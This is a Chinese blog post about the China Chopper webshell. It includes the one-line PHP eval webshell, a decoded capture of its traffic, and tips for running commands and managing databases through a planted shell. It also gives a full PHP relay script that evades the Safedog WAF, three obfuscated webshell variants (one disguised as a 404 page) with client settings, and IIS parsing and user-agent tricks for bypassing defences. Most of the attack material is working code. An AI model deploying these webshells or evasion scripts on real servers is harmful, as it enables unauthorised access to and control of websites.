重新学习--中国菜刀

1. 菜刀

(1)中国菜刀的请求方式为post。
(2)中国菜刀模拟了百度爬虫的user-agent,中国菜刀默认的连接中使用base64的方式进行编码传输,以便逃脱抓捕。

<?php  
         eval($_POST['x']);  
?>

客户端连接设置好URL,密码,连接。
一句话木马的核心就是:

PHP eval() 函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
eval(phpcode)
print("hello PHP!");
就从一个执行简单命令的这一点入手,抓包分析:
这个中国菜刀发送的HTTP包的数据部分:

op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

这是服务器返回的HTTP数据包

\357\273\277->|hello PHP!|<-

可以看出,这里用了base64编码,为了防止特殊字符传输失败的异常。
用base64解码工具解码,得出上面HTTP包的数据部分为:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("hello PHP!");;echo("|<-");die();
  1. 先用@ini_set("display_errors","0");临时关闭PHP的错误显示功能

  2. @set_time_limit(0);防止像dir、上传文件大马时超时

  3. @set_magic_quotes_runtime(0);关闭魔术引号,这东西在4.0以后就不怎么用了

  4. echo("->|");没啥好说的

  5. print("hello PHP!");输出字符串

  6. die();人如其名

二.菜刀高级用法

1.执行shell命令&&自定义终端路径

  • 自定义终端路径

    某些时候c:\windows\system32\cmd.exe拒绝访问,需要更换cmd路径来突破

我们先上传一个自己的cmd.exe 目录为c:\www\cmd.exe
终端执行以下命令切换脚本调用的cmd.exe路径到c:\www\cmd.exe

setp:c:\www\cmd.exe

2.数据库管理

配置代码,以mysql为例

<T>MYSQL</T>        //这里填写数据库类型
<H>localhost</H>    //这里填写数据库主机地址
<U>root</U>         //这里填写数据库用户名
<P>root</P>          //这里填写数据库密码
<L>utf8</L>         //这里填写编码方式

3.使用菜刀进行网站爬行

4.使用菜刀浏览器post数据

在菜刀主界面选择一个shell,右击浏览网站进入浏览器功能,浏览器的地址栏后面有个空白的按钮,点击下即出现post数据框:

5.使用菜刀浏览器修改cookies

在想修改cookies的页面右击,点击拓展功能,在里面修改cookies信息即可,重回页面并刷新就应用了我们修改后的cookies。


2.本地转发过狗原理

网站存在安全狗的情况下即使上传了一句话菜刀也连不上,尤其是iis7.5解析漏洞,xx.jpg/.php解析了一句话并且安全狗不拦截,但是连不上shell就很头疼。
首先要知道安全狗是如何检测并拦截的。“经过分析发现安全狗对菜刀的HTTP进行了拦截,菜刀的POST数据里面对eval数据进行了base64编码,安全狗也是利用该特征进行检测的。取消掉base64编码安全狗的确不拦截了,所以这里就认为是利用该特征进行检测。

转发脚本

<?php $target="";//webshell地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
    if(strstr($v, "base64_decode"))
        {
            $v=str_replace("base64_decode(","",$v);
            $v=str_replace("))",")",$v);
        }else
        {
            if($k==="z0")
                $v=base64_decode($v);
        }
    $pp=$k."=".urlencode($v);
    // echo $pp;
    if($i!=0)
    {
        $poststr=$poststr."&".$pp;
    }
    else
    {
        $poststr=$pp;
    }
    $i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING']; 
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

参考链接中国菜刀原理

3.一句话木马的变形

1 加密类变形

php一句话恶意脚本带404页面,带MD5加密,可浏览器POST任意php代码执行. 代码如下:

<?php 

echo"404NotFound!</br>"; error_reporting(0);
if(isset($_POST['com'])&&md5($_POST['com'])== '791dc312b38016ef998c1
c146104cd5a'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));
echo "We're sorry but the page your are looking for is Not Found..."

?>

菜刀配置填:

<O>com=settoken&content=ZXZhbCgkX1BPU1RbJ3BhZ2UnXSk7</O>

2 变量拼接类变形

<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

菜刀配置填:

<O>n985de9=QGV2YWwoJF9QT1NUWzBdKTs=</O>

3 加密拼接类变形

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

连接密码:1
在常见的绕过的套路中,一般使用以下几种方式进行绕过处理:

1、 第一种,使用各种分号 例如:/;.shell.asp;.jpg和/;1.asp/1.jpg(这里仅适用于IIS6.0)
2、第二种 把菜刀提交的内容在中转文件替换修改。
3、第三种 替换关键词,防止安全工具针对特定的关键字进行查杀。
4、 第四种 伪装爬虫,不使用特定的user-agent。

posted @ 2018-08-14 14:14  晓枫v5  阅读(1688)  评论(1编辑  收藏  举报